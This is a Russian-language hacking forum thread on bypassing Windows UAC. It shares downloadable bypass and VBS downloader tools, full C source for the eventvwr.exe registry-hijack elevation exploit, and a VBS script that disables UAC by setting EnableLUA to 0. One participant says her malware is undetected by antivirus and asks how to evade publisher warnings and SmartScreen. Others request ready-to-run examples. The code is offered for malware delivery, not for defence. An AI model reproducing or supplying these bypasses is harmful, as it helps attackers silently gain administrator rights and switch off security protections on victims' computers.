Вопрос Обход UAC (Bypass UAC)


Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652

Полную версию журнала, а соответственно и статьи скоро можно будет скачать здесь
Этот номер выложили. Прошу к прочтению.


Screenshot - 14.11.2016 - 22:36:41.png
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
В общем два лодыря с Хакфора (ничего не проверялось т.к. вы уже не маленькие:))

Запуск файла и скрытый обход UAC
Работает на Windows 7, 8, 8 1, 10 32/64

довн.png


Примечание:если файл больше 100кб, то использовать TP VBS Downloader (ниже)
на мой взгляд обход паблик ,скорее всего скоро пропатчат.


Простой VBS Downloader, без зависимости .с микро размером 362 байт !!

2222.png


Pass: Teeplow
 

Вложения

  • TP UAC Bypass v1.1.rar
    165.6 КБ · Просмотры: 125
  • TP VBS Downloader.rar
    12.6 КБ · Просмотры: 105

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Сегодня в твиттерах проскочила заметка об использовании в малвари, одного из .

C1lLabCXgAAeCYa.jpg:large.jpeg


23.png


Собственно вот небольшой обзор вышеупомянутого метода

Реализация на С


Код:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/*
 * Pretty standard code to recursively nuke a Reg Key
 */

int RegDelnodeRecurse (LPTSTR lpSubKey) {
    LPTSTR lpEnd;
    LONG lResult;
    DWORD dwSize = MAX_PATH;
    TCHAR szName[MAX_PATH];
    HKEY hKey;
    FILETIME ftWrite;

    lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);

    if (lResult == ERROR_SUCCESS) return 1;

    lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);

    if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;

    lpEnd    = lpSubKey + lstrlen(lpSubKey);
    *lpEnd++ = '\\';
    *lpEnd   = '\0';

    if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
        do {
            strcpy(lpEnd, szName);
            if (!RegDelnodeRecurse(lpSubKey)) break;
            lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
        } while (lResult == ERROR_SUCCESS);
    }

    lpEnd--;
    *lpEnd = TEXT('\0');

    RegCloseKey(hKey);

    return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}

/*
 * Wrapper for above
 */

int RegDelnode() {
    TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
    return RegDelnodeRecurse(szDelKey);
}

void __c_exploitUAC() {
    char curPath[MAX_PATH], evtVwr[MAX_PATH];
    HKEY attackKey;
    SHELLEXECUTEINFO exInfo;

    /*
    curPath is the command you want to elevate.
    Below is an example that shows how to elevate
    foobar.exe sitting in the same path as this
    program.
    */

    /*
    GetCurrentDirectory(MAX_PATH, curPath);
    strcat(curPath, "\\foobar.exe");
    */

    sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));

    if(!RegDelnode()) return;
    if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;

    RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));

    exInfo.lpVerb       = "open";
    exInfo.lpFile       = evtVwr;
    exInfo.nShow        = 0;
    exInfo.fMask        = SEE_MASK_NOCLOSEPROCESS;
    exInfo.cbSize       = sizeof(SHELLEXECUTEINFO);
    exInfo.hwnd         = 0;
    exInfo.lpParameters = 0;
    exInfo.lpDirectory  = 0;
    exInfo.hInstApp     = 0;

    ShellExecuteEx(&exInfo);

    Sleep(5000);

    TerminateProcess(exInfo.hProcess, 0);

    RegCloseKey(attackKey);
    RegDelnode();
}

int main(int argc, char *argv[]) {
    __c_exploitUAC();
    return 0;
}
 
Последнее редактирование:

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
VBS отключающий UAC. Без всяких нано-технологий. Сурово и просто.
Палево конечно же в окошке UAC:Mem18: Вроде где-то было на форуме.

Код:
Set oShell = WScript.CreateObject ("WScript.Shell")
Do
If DevPoint() Then
oShell.run "C:\Windows\System32\cmd.exe /c %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", 0, True
SearchTokill("wscript.exe")
End If

If not DevPoint() Then
Shadow()
End if
Wscript.sleep(5000)
loop

sub shadow()
If WScript.Arguments.Length = 0 Then
  Set A = CreateObject("Shell.Application")
  A.ShellExecute "wscript.exe" _
    , """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1
End if
end sub

Function DevPoint()
  DevPoint = False
  On Error Resume Next
  C = CreateObject("WScript.Shell").RegRead("HKEY_USERS\S-1-5-19\Environment\TEMP")
  If err.number = 0 Then DevPoint = True
End Function

Sub SearchTokill(P)
    strComputer = "."
    Set B = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set D = B.ExecQuery ("Select * from Win32_Process Where Name like '" & P & "'")
    For Each p in D
        p.Terminate             
    Next
End Sub
 

giloo

Пользователь
Форумчанин
Регистрация
06.01.2017
Сообщения
3
Пробовала все методы в этой теме, для моего случая видимо не помогло...
У меня малварь FUD, ав не палят вообще, но мне не нравится как у других выплывает при запуске сообщение "Не удается проверить издателя." и тд. Существует ли вообще способ обхода этого окошка при старте?
Еще как-то мне софт один попался, подозрительный был, решила запустить и посмотреть что сделает. В итоге перебил мой браузер под себя. Окно не вылазило при запуске.
Подозреваю что подписан официальным сертификатом, но неужели без этого никак?
 

giloo

Пользователь
Форумчанин
Регистрация
06.01.2017
Сообщения
3
Странно, если кому надо: Если в манифесте (C#) указать что нужно запускать как от админа, то на 10ке перед запуском никакого грозного уведомления не выходит, приятно порадовало.
Бесит SmartScreen на 8ке(( Не пропускает(( У кого есть идеи?
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 207
то на 10ке перед запуском никакого грозного уведомления не выходит, приятно порадовало.
А как запускаете ? Вообще и на 10-ке должно-быть уведомление о повышении прав, или сплоиты какие используете ?
 

giloo

Пользователь
Форумчанин
Регистрация
06.01.2017
Сообщения
3
А как запускаете ? Вообще и на 10-ке должно-быть уведомление о повышении прав, или сплоиты какие используете ?
А там вообще все очень странно вышло. Снизила UAC программным путем до нуля, но винда на скачанные файлы ругается (Выводит некрасивое окно о том что неизвестен издатель). Решила бинарнику дать права админа, так он после скачки с нетки молча запускается. Странный uac, странная винда. Благо хоть нашла способ как можно обойти все промты и всякие смарт скрины.
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Код:
https://labs.mwrinfosecurity.com/publications/uac-0day-all-day/

https://github.com/mwrlabs/defcon25_uac_workshop

https://labs.mwrinfosecurity.com/assets/resourceFiles/DefCon25-UAC-0day-All-Day-v2.2.pdf
 

seatrophy

Пользователь
Форумчанин
Регистрация
30.10.2016
Сообщения
2
Репутация
1
а можно пример как вставить в этот код или в другой код что на картинке
путь запуска или имя своего ЕХЕ или БАТ или ВБС ? рабочий пример
который надо запустить без УАК окна ?.
c1llabcxgaaecya-jpg-large-jpeg.58915



//////////////////////////////////////////////////



VBS отключающий UAC. Без всяких нано-технологий. Сурово и просто.
Палево конечно же в окошке UAC:Mem18: Вроде где-то было на форуме.

Код:
Set oShell = WScript.CreateObject ("WScript.Shell")
Do
If DevPoint() Then
oShell.run "C:\Windows\System32\cmd.exe /c %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", 0, True
SearchTokill("wscript.exe")
End If

If not DevPoint() Then
Shadow()
End if
Wscript.sleep(5000)
loop

sub shadow()
If WScript.Arguments.Length = 0 Then
  Set A = CreateObject("Shell.Application")
  A.ShellExecute "wscript.exe" _
    , """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1
End if
end sub

Function DevPoint()
  DevPoint = False
  On Error Resume Next
  C = CreateObject("WScript.Shell").RegRead("HKEY_USERS\S-1-5-19\Environment\TEMP")
  If err.number = 0 Then DevPoint = True
End Function

Sub SearchTokill(P)
    strComputer = "."
    Set B = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set D = B.ExecQuery ("Select * from Win32_Process Where Name like '" & P & "'")
    For Each p in D
        p.Terminate            
    Next
End Sub
 
Верх Низ